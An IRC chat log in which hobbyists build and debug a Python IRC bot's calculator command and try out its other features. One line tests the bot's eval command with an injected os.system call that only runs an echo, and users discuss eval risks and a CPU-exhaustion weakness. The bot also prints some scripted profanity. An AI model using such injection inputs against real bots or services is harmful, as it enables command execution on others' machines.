[2014-11-28T09:55:15-0500] <alokpathy> So, the obvious thing to do is
[2014-11-28T09:55:17-0500] <Hcnsh> your irc client does what his bot does
[2014-11-28T09:55:19-0500] <alokpathy> ask him in a game of resistance. 
[2014-11-28T09:55:38-0500] <alokpathy> So awe called us meatbags?
[2014-11-28T09:55:41-0500] <alokpathy> That was harsh.
[2014-11-28T09:55:43-0500] <Hcnsh> if his bot accepts input from stdin (would be a bitch to do because of ping requests) or from a file
[2014-11-28T09:55:49-0500] <Hcnsh> he can say what he wants through the bot
[2014-11-28T09:55:53-0500] <Hcnsh> and yes, he called us meatbags
[2014-11-28T09:56:01-0500] <alokpathy> :(
[2014-11-28T09:57:48-0500] <Hcnsh> !derp
[2014-11-28T09:57:48-0500] <&Pidgey> There have been 21 derps.
[2014-11-28T09:57:51-0500] <Hcnsh> !derps
[2014-11-28T09:57:51-0500] <&Pidgey> There have been 21 derps.
[2014-11-28T09:57:58-0500] <alokpathy> !derpflerp
[2014-11-28T09:58:00-0500] <&Pidgey> There have been 21 derps.
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[2014-11-28T09:58:41-0500] <Hcnsh> .derp
[2014-11-28T09:58:44-0500] <Hcnsh> .derps
[2014-11-28T09:58:46-0500] <Hcnsh> plis derpbot
[2014-11-28T09:58:55-0500] <alokpathy> derpbot? 
[2014-11-28T09:59:06-0500] <Hcnsh> .derp
[2014-11-28T09:59:07-0500] <Hcnsh> derp
[2014-11-28T09:59:19-0500] <Hcnsh> oh
[2014-11-28T09:59:22-0500] <Hcnsh> uh, i sec
[2014-11-28T09:59:23-0500] <Hcnsh> 1 sec*
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[2014-11-28T10:01:45-0500] <Hcnsh> getting a weird error
[2014-11-28T10:01:46-0500] <Hcnsh> because i ctrl-c'd
[2014-11-28T10:01:50-0500] <Hcnsh> at some apparently critical point
[2014-11-28T10:02:08-0500] <alokpathy> oopsie
[2014-11-28T10:06:55-0500] <Hcnsh> i don't know what to do ;_;
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[2014-11-28T10:18:46-0500] <Hcnsh> .poophead
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[2014-11-28T10:18:52-0500] <Hcnsh> yay
[2014-11-28T10:18:55-0500] <Hcnsh> .<3
[2014-11-28T10:18:55-0500] <goodbot> <3 Hcnsh
[2014-11-28T10:19:21-0500] <Hcnsh> .derp
[2014-11-28T10:19:22-0500] <goodbot> There have been 0 derps.
[2014-11-28T10:19:24-0500] <Hcnsh> .++derp
[2014-11-28T10:19:24-0500] <goodbot> UnboundLocalError: local variable 'derps' referenced before assignment (file "/home/blob/.willie/modules/test.py", line 19, in ppderp)
[2014-11-28T10:19:42-0500] <Hcnsh> oh, file isn't run :|
[2014-11-28T10:19:54-0500] <Hcnsh> urgh
[2014-11-28T10:20:37-0500] <alokpathy> lel
[2014-11-28T10:20:48-0500] <Hcnsh> what functionality do you want, alok?
[2014-11-28T10:21:25-0500] <alokpathy> .chown alokpathy
[2014-11-28T10:21:46-0500] <Hcnsh> bot needs power on server
[2014-11-28T10:21:48-0500] <Hcnsh> awe no give bot power
[2014-11-28T10:22:08-0500] <Hcnsh> anything else...?
[2014-11-28T10:22:52-0500] <alokpathy> Um
[2014-11-28T10:23:20-0500] <alokpathy> .calculate
[2014-11-28T10:23:23-0500] <alokpathy> .poophead
[2014-11-28T10:23:23-0500] <goodbot> gtfo, alokpathy
[2014-11-28T10:23:26-0500] <alokpathy> wow okay
[2014-11-28T10:23:29-0500] <alokpathy> .poophead
[2014-11-28T10:23:29-0500] <goodbot> gtfo, alokpathy
[2014-11-28T10:23:30-0500] <Hcnsh> show example of .calculate
[2014-11-28T10:23:36-0500] <alokpathy> .calculate 1 + 1
[2014-11-28T10:23:37-0500] <alokpathy> goodbot: 2
[2014-11-28T10:23:39-0500] <Hcnsh> hmm
[2014-11-28T10:23:44-0500] <alokpathy> or .search
[2014-11-28T10:23:48-0500] <alokpathy> just like @ddg
[2014-11-28T10:24:01-0500] <Hcnsh> i'll see how easy calculate is
[2014-11-28T10:24:04-0500] <Hcnsh> search should be easy
[2014-11-28T10:24:04-0500] <alokpathy> Or or
[2014-11-28T10:24:06-0500] <alokpathy> .inspire
[2014-11-28T10:24:14-0500] <Hcnsh> i need a database of inspiring quotes
[2014-11-28T10:24:15-0500] <Hcnsh> too much work
[2014-11-28T10:24:18-0500] <alokpathy> Fine
[2014-11-28T10:24:37-0500] <Hcnsh> awe plis admire bot
[2014-11-28T10:30:33-0500] <Hcnsh> ok
[2014-11-28T10:30:36-0500] <Hcnsh> if i eval what you give
[2014-11-28T10:30:38-0500] <Hcnsh> it'd work
[2014-11-28T10:30:38-0500] <Hcnsh> but
[2014-11-28T10:30:41-0500] <Hcnsh> that's risky
[2014-11-28T10:30:52-0500] <Hcnsh> i'll try to not execute anything that has suspicious stuff on it
[2014-11-28T10:31:02-0500] <Hcnsh> so give me a minute
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[2014-11-28T10:34:11-0500] <Hcnsh> .calculate 1+1
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[2014-11-28T10:34:52-0500] <Hcnsh> .calculate 1+1
[2014-11-28T10:34:52-0500] <goodbot> No
[2014-11-28T10:35:34-0500] <alokpathy> Wow
[2014-11-28T10:35:41-0500] <alokpathy> goodbot: is turning into a badbot
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[2014-11-28T10:36:46-0500] <Hcnsh> .poophead
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[2014-11-28T10:36:54-0500] <Hcnsh> .calculate 1+1
[2014-11-28T10:36:54-0500] <goodbot> AttributeError: Willie instance has no attribute '__call__' (file "/usr/lib/python2.7/asyncore.py", line 421, in __getattr__)
[2014-11-28T10:37:10-0500] <Hcnsh> .poophead
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[2014-11-28T10:37:20-0500] <alokpathy> Wow Hcnsh 
[2014-11-28T10:37:23-0500] <alokpathy> y u gotta disown him
[2014-11-28T10:37:30-0500] <Hcnsh> it doesn't work
[2014-11-28T10:37:46-0500] <Hcnsh> i'm beating my keyboard to get it to work
[2014-11-28T10:37:51-0500] <Hcnsh> when i'm done, it'll reconnect
[2014-11-28T10:38:12-0500] <alokpathy> Lol alright
[2014-11-28T10:38:20-0500] <Tamini> lol
[2014-11-28T10:38:30-0500] <Tamini> it cant add numbers
[2014-11-28T10:38:31-0500] <Tamini> darn
[2014-11-28T10:39:33-0500] <alokpathy> It's okay.
[2014-11-28T10:39:35-0500] <alokpathy> I can't either.
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[2014-11-28T10:45:57-0500] <Hcnsh> .calculate 1+1
[2014-11-28T10:45:57-0500] <goodbot> AttributeError: Willie instance has no attribute 'tools' (file "/usr/lib/python2.7/asyncore.py", line 421, in __getattr__)
[2014-11-28T10:46:06-0500] <Hcnsh> .poophead
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[2014-11-28T10:47:12-0500] <Hcnsh> .calculate 1+1
[2014-11-28T10:47:13-0500] <goodbot> AttributeError: 'module' object has no attribute '__call__' (file "/home/blob/.willie/modules/test.py", line 26, in calculate)
[2014-11-28T10:47:19-0500] <Hcnsh> .poophead
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[2014-11-28T10:48:24-0500] <Hcnsh> .calculate 1+1
[2014-11-28T10:48:24-0500] <goodbot> TypeError: unbound method __call__() must be called with ExpressionEvaluator instance as first argument (got unicode instance instead) (file "/home/blob/.willie/modules/test.py", line 27, in calculate)
[2014-11-28T10:48:29-0500] <Hcnsh> .poophead
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[2014-11-28T10:49:25-0500] <Hcnsh> .calculate 1+1
[2014-11-28T10:49:25-0500] <goodbot> TypeError: unbound method __call__() must be called with ExpressionEvaluator instance as first argument (got classobj instance instead) (file "/home/blob/.willie/modules/test.py", line 27, in calculate)
[2014-11-28T10:49:29-0500] <Hcnsh> .poophead
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[2014-11-28T10:50:27-0500] <Hcnsh> .calculate 1+1
[2014-11-28T10:50:27-0500] <goodbot> Error: Ast.Node 'BinOp' not implemented. (file "/home/blob/Documents/python/willie/willie/tools.py", line 117, in _eval_node)
[2014-11-28T10:50:33-0500] <Hcnsh> .poophead
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[2014-11-28T10:50:39-0500] <Hcnsh> math is hard
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[2014-11-28T10:52:31-0500] <Hcnsh> .calculate 1+1
[2014-11-28T10:52:31-0500] <goodbot> AttributeError: 'int' object has no attribute 'decode' (file "/home/blob/Documents/python/willie/willie/irc.py", line 466, in msg)
[2014-11-28T10:52:37-0500] <Hcnsh> .poophead
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[2014-11-28T10:53:20-0500] <Hcnsh> .calculate "1+1"
[2014-11-28T10:53:20-0500] <goodbot> 1+1
[2014-11-28T10:53:24-0500] <Hcnsh> close enough..?
[2014-11-28T10:53:30-0500] <Hcnsh> .calculate 1+1
[2014-11-28T10:53:30-0500] <goodbot> AttributeError: 'int' object has no attribute 'decode' (file "/home/blob/Documents/python/willie/willie/irc.py", line 466, in msg)
[2014-11-28T10:53:36-0500] <Hcnsh> .poophead
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[2014-11-28T10:54:45-0500] <Hcnsh> .calculate 1+1
[2014-11-28T10:54:45-0500] <goodbot> AttributeError: 'int' object has no attribute 'decode' (file "/home/blob/Documents/python/willie/willie/irc.py", line 466, in msg)
[2014-11-28T10:54:51-0500] <Hcnsh> .calculate "1+1"
[2014-11-28T10:54:51-0500] <goodbot> 1+1
[2014-11-28T10:54:55-0500] <Hcnsh> .poophead
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[2014-11-28T10:54:58-0500] <alokpathy> Nice LOL
[2014-11-28T10:55:03-0500] <alokpathy> What's 1 + 1?
[2014-11-28T10:55:05-0500] <alokpathy> 1 + 1
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[2014-11-28T10:55:21-0500] <Hcnsh> .calculate os
[2014-11-28T10:55:21-0500] <goodbot> No
[2014-11-28T10:55:22-0500] <Hcnsh> ok
[2014-11-28T10:55:25-0500] <Hcnsh> .poophead
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[2014-11-28T11:00:30-0500] <Hcnsh> .calculate 1+1
[2014-11-28T11:00:30-0500] <goodbot> NameError: global name 'literal_eval' is not defined (file "/home/blob/.willie/modules/test.py", line 28, in calculate)
[2014-11-28T11:00:42-0500] <Hcnsh> .poophead
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[2014-11-28T11:01:40-0500] <Hcnsh> .calculate 1+1
[2014-11-28T11:01:40-0500] <goodbot> NameError: global name 'ast' is not defined (file "/home/blob/.willie/modules/test.py", line 28, in calculate)
[2014-11-28T11:01:45-0500] <Hcnsh> .poophead
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[2014-11-28T11:02:39-0500] <Hcnsh> .calculate 1+1
[2014-11-28T11:02:39-0500] <goodbot> ValueError: malformed string (file "/usr/lib/python2.7/ast.py", line 79, in _convert)
[2014-11-28T11:02:59-0500] <Hcnsh> .poophead
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[2014-11-28T11:03:05-0500] <Hcnsh> .calculate 1+1
[2014-11-28T11:03:05-0500] <goodbot> ValueError: malformed string (file "/usr/lib/python2.7/ast.py", line 79, in _convert)
[2014-11-28T11:06:00-0500] <Hcnsh> .calculate '1+1'
[2014-11-28T11:06:00-0500] <goodbot> 1+1
[2014-11-28T11:06:08-0500] <Hcnsh> .calculate 'x=1+1'
[2014-11-28T11:06:08-0500] <goodbot> x=1+1
[2014-11-28T11:06:13-0500] <Hcnsh> .calculate x=1+1
[2014-11-28T11:06:13-0500] <goodbot> SyntaxError: invalid syntax (file "<unknown>", line 1)
[2014-11-28T11:06:23-0500] <Hcnsh> .calculate print '1+1'
[2014-11-28T11:06:23-0500] <goodbot> SyntaxError: invalid syntax (file "<unknown>", line 1)
[2014-11-28T11:06:49-0500] <+jwoglom> .calculate '2*2'
[2014-11-28T11:06:49-0500] <goodbot> 2*2
[2014-11-28T11:06:59-0500] <+jwoglom> great bot you've got there
[2014-11-28T11:07:02-0500] <Hcnsh> thanks
[2014-11-28T11:07:44-0500] <Hcnsh> the problem is with python2.7
[2014-11-28T11:07:47-0500] <Hcnsh> lol
[2014-11-28T11:08:13-0500] <Hcnsh> .poophead
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[2014-11-28T11:08:24-0500] <Hcnsh> .calculate '1+1'
[2014-11-28T11:08:30-0500] <Hcnsh> .calculate 1+1
[2014-11-28T11:10:41-0500] <Hcnsh> .poophead
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[2014-11-28T11:11:57-0500] <Hcnsh> .<3
[2014-11-28T11:11:57-0500] <goodbot> <3 Hcnsh
[2014-11-28T11:12:01-0500] <Hcnsh> .calculate 1+1
[2014-11-28T11:12:01-0500] <goodbot> AttributeError: 'int' object has no attribute 'decode' (file "/home/blob/Documents/python/willie/willie/irc.py", line 466, in msg)
[2014-11-28T11:12:06-0500] <Hcnsh> .calculate '1+1'
[2014-11-28T11:12:06-0500] <goodbot> 1+1
[2014-11-28T11:12:17-0500] <Hcnsh> .calculate "1+1"
[2014-11-28T11:12:17-0500] <goodbot> 1+1
[2014-11-28T11:12:19-0500] <Hcnsh> plis goodbot
[2014-11-28T11:13:08-0500] <Hcnsh> .poophead
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[2014-11-28T11:13:17-0500] <Hcnsh> .calculate 1+1
[2014-11-28T11:13:17-0500] <goodbot> AttributeError: 'int' object has no attribute 'decode' (file "/home/blob/Documents/python/willie/willie/irc.py", line 466, in msg)
[2014-11-28T11:13:20-0500] <Hcnsh> .calculate "1+1"
[2014-11-28T11:13:20-0500] <goodbot> 1+1
[2014-11-28T11:13:36-0500] <Hcnsh> .calculate print "hi"
[2014-11-28T11:13:36-0500] <goodbot> SyntaxError: invalid syntax (file "<unknown>", line 1)
[2014-11-28T11:13:43-0500] <Hcnsh> .calculate 'print hi'
[2014-11-28T11:13:43-0500] <goodbot> print hi
[2014-11-28T11:14:31-0500] <Hcnsh> .calculate 1\+1
[2014-11-28T11:14:31-0500] <goodbot> SyntaxError: unexpected character after line continuation character (file "<unknown>", line 1)
[2014-11-28T11:14:36-0500] <Hcnsh> .calculate "1\+1"
[2014-11-28T11:14:36-0500] <goodbot> 1\+1
[2014-11-28T11:17:15-0500] <Hcnsh> .poophead
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[2014-11-28T11:17:29-0500] <Hcnsh> .calculate 1+1
[2014-11-28T11:17:29-0500] <goodbot> UnboundLocalError: local variable 'ans' referenced before assignment (file "/home/blob/.willie/modules/test.py", line 21, in calculate)
[2014-11-28T11:17:48-0500] <Hcnsh> .poophead
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[2014-11-28T11:17:59-0500] <Hcnsh> .calculate 1+1
[2014-11-28T11:17:59-0500] <goodbot> AttributeError: 'int' object has no attribute 'decode' (file "/home/blob/Documents/python/willie/willie/irc.py", line 466, in msg)
[2014-11-28T11:18:03-0500] <Hcnsh> .calculate "1+1"
[2014-11-28T11:18:03-0500] <goodbot> 1+1
[2014-11-28T11:21:16-0500] <Hcnsh> .calculate 1\+1
[2014-11-28T11:21:16-0500] <goodbot> SyntaxError: unexpected character after line continuation character (file "<unknown>", line 1)
[2014-11-28T11:21:26-0500] <Hcnsh> .calculate '1\+1'
[2014-11-28T11:21:26-0500] <goodbot> 1\+1
[2014-11-28T11:25:08-0500] <Hcnsh> .poophead
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[2014-11-28T11:25:15-0500] <Hcnsh> .calculate 1+1
[2014-11-28T11:25:15-0500] <goodbot> 2
[2014-11-28T11:25:17-0500] <Hcnsh> WOOT
[2014-11-28T11:25:19-0500] <Hcnsh> alokpathy
[2014-11-28T11:25:21-0500] <Hcnsh> your calculator
[2014-11-28T11:25:32-0500] <Hcnsh> .calculate pow(2,3)
[2014-11-28T11:25:32-0500] <goodbot> ValueError: malformed node or string: <_ast.Call object at 0x7f9404075240> (file "/usr/lib/python3.4/ast.py", line 83, in _convert)
[2014-11-28T11:25:40-0500] <Hcnsh> owell
[2014-11-28T11:25:48-0500] <Hcnsh> .calculate 1**2
[2014-11-28T11:25:48-0500] <goodbot> ValueError: malformed node or string: <_ast.BinOp object at 0x7f9404075278> (file "/usr/lib/python3.4/ast.py", line 83, in _convert)
[2014-11-28T11:25:56-0500] <Hcnsh> .calculate 0-1
[2014-11-28T11:25:56-0500] <goodbot> -1
[2014-11-28T11:26:03-0500] <Hcnsh> .calculate 2*4
[2014-11-28T11:26:03-0500] <goodbot> ValueError: malformed node or string: <_ast.BinOp object at 0x7f94040752e8> (file "/usr/lib/python3.4/ast.py", line 83, in _convert)
[2014-11-28T11:26:12-0500] <Hcnsh> it can't multiply ._.
[2014-11-28T11:26:14-0500] <Hcnsh> .calculate 2 * 4
[2014-11-28T11:26:14-0500] <goodbot> ValueError: malformed node or string: <_ast.BinOp object at 0x7f9404075710> (file "/usr/lib/python3.4/ast.py", line 83, in _convert)
[2014-11-28T11:27:59-0500] <alokpathy> LOL
[2014-11-28T11:35:06-0500] <Hcnsh> .poophead
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[2014-11-28T11:35:14-0500] <Hcnsh> .calculate 1+1
[2014-11-28T11:35:18-0500] <Hcnsh> .poophead
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[2014-11-28T11:37:56-0500] <Hcnsh> .calculate 1+1
[2014-11-28T11:37:56-0500] <goodbot> AttributeError: 'int' object has no attribute 'decode' (file "/home/blob/Documents/python/willie/willie/irc.py", line 466, in msg)
[2014-11-28T11:38:00-0500] <Hcnsh> .calculate '1+1'
[2014-11-28T11:38:00-0500] <goodbot> 1+1
[2014-11-28T11:38:35-0500] <Hcnsh> .poophead
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[2014-11-28T11:39:05-0500] <Hcnsh> .calculate 1+1
[2014-11-28T11:39:05-0500] <goodbot> 2
[2014-11-28T11:39:13-0500] <Hcnsh> .calculate 2*4
[2014-11-28T11:39:13-0500] <goodbot> 8
[2014-11-28T11:39:16-0500] <Hcnsh> alokpathy
[2014-11-28T11:39:57-0500] <Hcnsh> .calculate pow(2,4)
[2014-11-28T11:39:57-0500] <goodbot> 16.0
[2014-11-28T11:40:08-0500] <Hcnsh> .calculate "print heyo"
[2014-11-28T11:40:08-0500] <goodbot> print heyo
[2014-11-28T11:40:13-0500] <Hcnsh> .calculate print heyo
[2014-11-28T11:40:13-0500] <goodbot> None
[2014-11-28T11:40:52-0500] <Hcnsh> .<3
[2014-11-28T11:40:52-0500] <goodbot> <3 Hcnsh
[2014-11-28T11:41:57-0500] <Hcnsh> jwoglom
[2014-11-28T11:41:59-0500] <Hcnsh> my bot works
[2014-11-28T11:42:23-0500] <+jwoglom> Hcnsh: congrats :P
[2014-11-28T11:42:55-0500] <Hcnsh> .print 1 + 2 - 3
[2014-11-28T11:43:00-0500] <Hcnsh> .calculate 1 + 2 - 3
[2014-11-28T11:43:00-0500] <goodbot> 0
[2014-11-28T11:43:07-0500] <Hcnsh> .calculate 1 + 2 * 3
[2014-11-28T11:43:07-0500] <goodbot> 7
[2014-11-28T11:43:21-0500] <Hcnsh> rght order of operations too
[2014-11-28T11:43:21-0500] <Hcnsh> gg
[2014-11-28T11:44:20-0500] <alokpathy> Hcnsh: niceee
[2014-11-28T11:44:25-0500] <alokpathy> .calculate 1 / 2
[2014-11-28T11:44:25-0500] <goodbot> 0.5
[2014-11-28T11:44:28-0500] <alokpathy> .calculate 1 / 0
[2014-11-28T11:44:28-0500] <goodbot> None
[2014-11-28T11:44:32-0500] <Hcnsh> lol
[2014-11-28T11:44:33-0500] <alokpathy> .calculate 1 / 1
[2014-11-28T11:44:33-0500] <goodbot> 1.0
[2014-11-28T11:44:36-0500] <alokpathy> .calculate 1 * 0
[2014-11-28T11:44:36-0500] <goodbot> 0
[2014-11-28T11:44:45-0500] <alokpathy> .calculate 1 and 2
[2014-11-28T11:44:45-0500] <goodbot> 2
[2014-11-28T11:44:55-0500] <Hcnsh> .calculate 0 or 1
[2014-11-28T11:44:55-0500] <goodbot> 1
[2014-11-28T11:44:57-0500] <Hcnsh> .calculate 1 or 0
[2014-11-28T11:44:57-0500] <goodbot> 1
[2014-11-28T11:45:02-0500] <Hcnsh> .calculate 0 or 0
[2014-11-28T11:45:02-0500] <goodbot> 0
[2014-11-28T11:45:54-0500] <Hcnsh> there's one vulnerability, though...
[2014-11-28T11:46:42-0500] <alokpathy> .calculate 11111111111111111111111111111111111111111111111111111111111 + 1
[2014-11-28T11:46:42-0500] <goodbot> 11111111111111111111111111111111111111111111111111111111112
[2014-11-28T11:46:49-0500] <alokpathy> .calculate 11111111111111111111111111111111111111111111111111111111111 / 0
[2014-11-28T11:46:49-0500] <goodbot> None
[2014-11-28T11:46:54-0500] <Hcnsh> not overflow..
[2014-11-28T11:46:55-0500] <alokpathy> .calculate 11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 / 0
[2014-11-28T11:46:55-0500] <goodbot> None
[2014-11-28T11:46:59-0500] <alokpathy> Darn
[2014-11-28T11:47:02-0500] <Hcnsh> if you give it an expensive computation
[2014-11-28T11:47:07-0500] <Hcnsh> it'll hog my cpu
[2014-11-28T11:47:17-0500] <alokpathy> So we can be evil if we wanted to?
[2014-11-28T11:47:18-0500] <Hcnsh> need to add a time limit somehow
[2014-11-28T11:47:31-0500] <Hcnsh> you can do it if you want
[2014-11-28T11:47:36-0500] <Hcnsh> puts pressure on me to fix it
[2014-11-28T11:48:26-0500] <alokpathy> .calculate 111111111111111111111111111111111111111111111 ^ 11111123123111111111111111111111111111111111111111111111111111
[2014-11-28T11:48:26-0500] <goodbot> 11111123123111111187175761619095592517990313617137438426136576
[2014-11-28T11:48:29-0500] <alokpathy> wat
[2014-11-28T11:48:36-0500] <alokpathy> Oh wait
[2014-11-28T11:48:38-0500] <Hcnsh> that's not expensive enough
[2014-11-28T11:48:38-0500] <alokpathy> that's xor
[2014-11-28T11:48:41-0500] <alokpathy> oops
[2014-11-28T11:48:56-0500] <Hcnsh> lol
[2014-11-28T11:49:06-0500] <alokpathy> .calculate pow(111111111111111111111111111111111111111111111, 11111123123111111111111111111111111111111111111111111111111111)
[2014-11-28T11:49:06-0500] <goodbot> None
[2014-11-28T11:49:10-0500] <alokpathy> ...
[2014-11-28T11:49:13-0500] <alokpathy> Wow goodbot
[2014-11-28T11:49:34-0500] <Hcnsh> OverflowError
[2014-11-28T11:49:34-0500] <Hcnsh>    pow(111111111111111111111111111111111111111111111, 11111123123111111111111111111111111111111111111111111111111111)
[2014-11-28T11:49:34-0500] <Hcnsh> Error running <built-in function pow>
[2014-11-28T11:50:54-0500] <Hcnsh> .calculate x = pow(2,3)
[2014-11-28T11:50:54-0500] <goodbot> None
[2014-11-28T11:51:08-0500] <Hcnsh> .calculate x
[2014-11-28T11:51:08-0500] <goodbot> None
[2014-11-28T11:52:39-0500] <Tamini> uh
[2014-11-28T11:52:51-0500] <Hcnsh> do .<3
[2014-11-28T11:52:54-0500] <Tamini> when did your bot become good :P
[2014-11-28T11:52:57-0500] <Hcnsh> hei
[2014-11-28T11:52:57-0500] <badbot> hei, Hcnsh
[2014-11-28T11:52:58-0500] <Tamini> .<3
[2014-11-28T11:52:58-0500] <goodbot> <3 Tamini
[2014-11-28T11:53:00-0500] <Hcnsh> badbot still exists
[2014-11-28T11:53:01-0500] <Tamini> awww
[2014-11-28T11:53:06-0500] <Hcnsh> .<3
[2014-11-28T11:53:06-0500] <goodbot> <3 Hcnsh
[2014-11-28T11:53:27-0500] <Tamini> inb4 10% obscenity proc chance again
[2014-11-28T11:53:34-0500] <Hcnsh> lol
[2014-11-28T11:53:37-0500] <Hcnsh> was just about to remove that
[2014-11-28T11:53:39-0500] <alokpathy> hi goodbot 
[2014-11-28T11:53:39-0500] <goodbot> Hi alokpathy!
[2014-11-28T11:53:45-0500] <alokpathy> He's so nice :)
[2014-11-28T11:53:56-0500] <Hcnsh> hi goodbot
[2014-11-28T11:53:56-0500] <goodbot> Screw you, Hcnsh!
[2014-11-28T11:54:02-0500] <Hcnsh> it hates me :C
[2014-11-28T11:54:07-0500] <Hcnsh> hi goodbot
[2014-11-28T11:54:07-0500] <goodbot> Fuck off, Hcnsh
[2014-11-28T11:54:09-0500] <Hcnsh> hi goodbot
[2014-11-28T11:54:09-0500] <goodbot> Screw you, Hcnsh!
[2014-11-28T11:54:10-0500] <Hcnsh> hi goodbot
[2014-11-28T11:54:10-0500] <goodbot> Fuck off, Hcnsh
[2014-11-28T11:54:12-0500] <Hcnsh> hi goodbot
[2014-11-28T11:54:12-0500] <goodbot> Screw you, Hcnsh!
[2014-11-28T11:54:17-0500] <Hcnsh> hi goodbot, plis b nice
[2014-11-28T11:54:30-0500] <Hcnsh> .poophead
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[2014-11-28T11:54:31-0500] <Tamini> hi goodbot
[2014-11-28T11:54:34-0500] <Tamini> aw
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[2014-11-28T11:54:42-0500] <Tamini> hi goodbot
[2014-11-28T11:54:42-0500] <goodbot> Hi Tamini!
[2014-11-28T11:55:05-0500] <Hcnsh> it's better than you at math
[2014-11-28T11:55:14-0500] <Hcnsh> .calcualte 920948109521*2190810951
[2014-11-28T11:55:23-0500] <Hcnsh> .calculate 920948109521*2190810951
[2014-11-28T11:55:23-0500] <goodbot> 2017623203641354164471
[2014-11-28T11:55:29-0500] <Hcnsh> .calculate 920948109521*21908109511029410951
[2014-11-28T11:55:29-0500] <goodbot> 20176232037361575713953664764471
[2014-11-28T12:00:28-0500] <Hcnsh> .c 1+1
[2014-11-28T12:00:28-0500] <goodbot> Hcnsh: 2
[2014-11-28T12:00:29-0500] <Hcnsh> oh wot
[2014-11-28T12:00:34-0500] <Hcnsh> it has a builtin calc already
[2014-11-28T12:00:35-0500] <Hcnsh> wtf
[2014-11-28T12:00:38-0500] <Hcnsh> i spent hours on this shit
[2014-11-28T12:01:21-0500] <Hcnsh> .py print hi
[2014-11-28T12:01:22-0500] <goodbot> NameError: name 'hi' is not defined
[2014-11-28T12:01:26-0500] <Hcnsh> .py print "hi"
[2014-11-28T12:01:26-0500] <goodbot> hi
[2014-11-28T12:02:22-0500] <Hcnsh> .py __import__('os').system('echo hello, I am a command execution')
[2014-11-28T12:02:22-0500] <goodbot> AttributeError: 'module' object has no attribute 'system'
[2014-11-28T12:03:39-0500] <Hcnsh> .wa 2*2
[2014-11-28T12:03:41-0500] <goodbot> [WOLFRAM] 2×2 = 4
[2014-11-28T12:03:57-0500] <Hcnsh> .wa x%2==0 and x%3==0
[2014-11-28T12:04:05-0500] <goodbot> [WOLFRAM] {x mod 2 = 0, x mod 3 = 0} = x = 6 n,   n element Z
[2014-11-28T12:04:16-0500] <Hcnsh> tamini
[2014-11-28T12:04:36-0500] <Hcnsh> .wa mass of sun
[2014-11-28T12:04:59-0500] <goodbot> [WOLFRAM] Sun->mass = 1.988435×10^30 kg  (kilograms)
[2014-11-28T12:05:47-0500] <Hcnsh> .dice
[2014-11-28T12:05:47-0500] <goodbot> Hcnsh: No dice to roll.
[2014-11-28T12:05:50-0500] <Hcnsh> .dice 6
[2014-11-28T12:05:50-0500] <goodbot> Hcnsh: You roll 6: 6 = 6
[2014-11-28T12:05:56-0500] <Hcnsh> .dice 5
[2014-11-28T12:05:56-0500] <goodbot> Hcnsh: You roll 5: 5 = 5
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[2014-11-28T12:07:13-0500] <Hcnsh> .choose awe|littlebobbytables|jwoglom|sdamashek|ubuntor|alokpathy
[2014-11-28T12:07:14-0500] <goodbot> Hcnsh: Your options: awe, littlebobbytables, jwoglom, sdamashek, ubuntor, alokpathy. My choice: littlebobbytables
[2014-11-28T12:07:21-0500] <Tamini> lol
[2014-11-28T12:07:40-0500] <@LittleBobbyTables> Suck it.
[2014-11-28T12:07:59-0500] <hardmath123> ooh more bots
[2014-11-28T12:08:03-0500] <Hcnsh> .g gtfo
[2014-11-28T12:08:04-0500] <goodbot> Hcnsh: http://www.urbandictionary.com/define.php?term=GTFO
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[2014-11-28T12:08:41-0500] <hardmath123> say hi to al
[2014-11-28T12:08:46-0500] <Hcnsh> .ddg hi
[2014-11-28T12:08:47-0500] <goodbot> Hcnsh: https://www.hihostels.com/
[2014-11-28T12:09:18-0500] <Hcnsh> .suggest Best
[2014-11-28T12:09:19-0500] <goodbot> Perhaps Best: ~buy, ~buy credit card, ~movies on netflix, ~movies, ~movies of all time, ~western, ~movies of 2014, ~friend quotes, ~movies of 2013, ~free antivirus
[2014-11-28T12:09:32-0500] <Hcnsh> >best free antivirus
[2014-11-28T12:09:42-0500] <Hcnsh> .g linux
[2014-11-28T12:09:42-0500] <hardmath123> .suggest cow
[2014-11-28T12:09:42-0500] <goodbot> Perhaps cow: cow~boys schedule, cow~boys, cow~boy bebop, cow~boy boots, cow~girl boots, cow~boom, cow~boys depth chart, cow~boys roster, cow~boys game
[2014-11-28T12:09:43-0500] <goodbot> Hcnsh: http://www.linux.com/
[2014-11-28T12:10:04-0500] <hardmath123> "cowboys depth chart" O.o
[2014-11-28T12:10:50-0500] <Hcnsh> .w bread
[2014-11-28T12:10:51-0500] <goodbot> "Bread is a staple food prepared from a dough of flour and water, usually by baking. Throughout recorded history it has been popular around the world and is one of humanity's oldest foods, having been of importance since the dawn of agriculture.There are many combinations and proportions of types of..." - http://en.wikipedia.org/wiki/Bread
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[2014-11-28T12:13:19-0500] <Hcnsh> .poophead
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[2014-11-28T12:13:27-0500] <Hcnsh> hi goodbot
[2014-11-28T12:13:27-0500] <goodbot> AttributeError: 'Trigger' object has no attribute 'Nick' (file "/home/blob/Documents/python/willie/willie/modules/ping.py", line 15, in hello)
[2014-11-28T12:13:31-0500] <Hcnsh> .poophead
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[2014-11-28T12:14:03-0500] <Hcnsh> hi goodbot
[2014-11-28T12:14:03-0500] <goodbot> Hey Hcnsh
[2014-11-28T12:14:14-0500] <Hcnsh> fuck you, goodbot
[2014-11-28T12:14:14-0500] <goodbot> Watch your mouth, Hcnsh, or I'll tell your mother!
[2014-11-28T12:14:16-0500] <+hardmath123> ...
[2014-11-28T12:14:37-0500] <Hcnsh> goodbot
[2014-11-28T12:14:46-0500] <Hcnsh> goodbot!
[2014-11-28T12:14:46-0500] <goodbot> Hcnsh!
[2014-11-28T12:14:55-0500] <alokpathy> goodbot!
[2014-11-28T12:14:55-0500] <goodbot> alokpathy!
[2014-11-28T12:15:02-0500] <alokpathy> fuck you, goodbot
[2014-11-28T12:15:02-0500] <goodbot> Watch your mouth, alokpathy, or I'll tell your mother!
[2014-11-28T12:15:12-0500] <alokpathy> hi goodbot 
[2014-11-28T12:15:12-0500] <goodbot> Hey alokpathy
[2014-11-28T12:15:15-0500] <alokpathy> hi goodbot 
[2014-11-28T12:15:15-0500] <goodbot> Hello alokpathy!
[2014-11-28T12:15:18-0500] <alokpathy> hi goodbot 
[2014-11-28T12:15:18-0500] <goodbot> Hey alokpathy!
[2014-11-28T12:15:26-0500] <alokpathy> go away goodbot 
[2014-11-28T12:15:28-0500] <Hcnsh> .ety bread
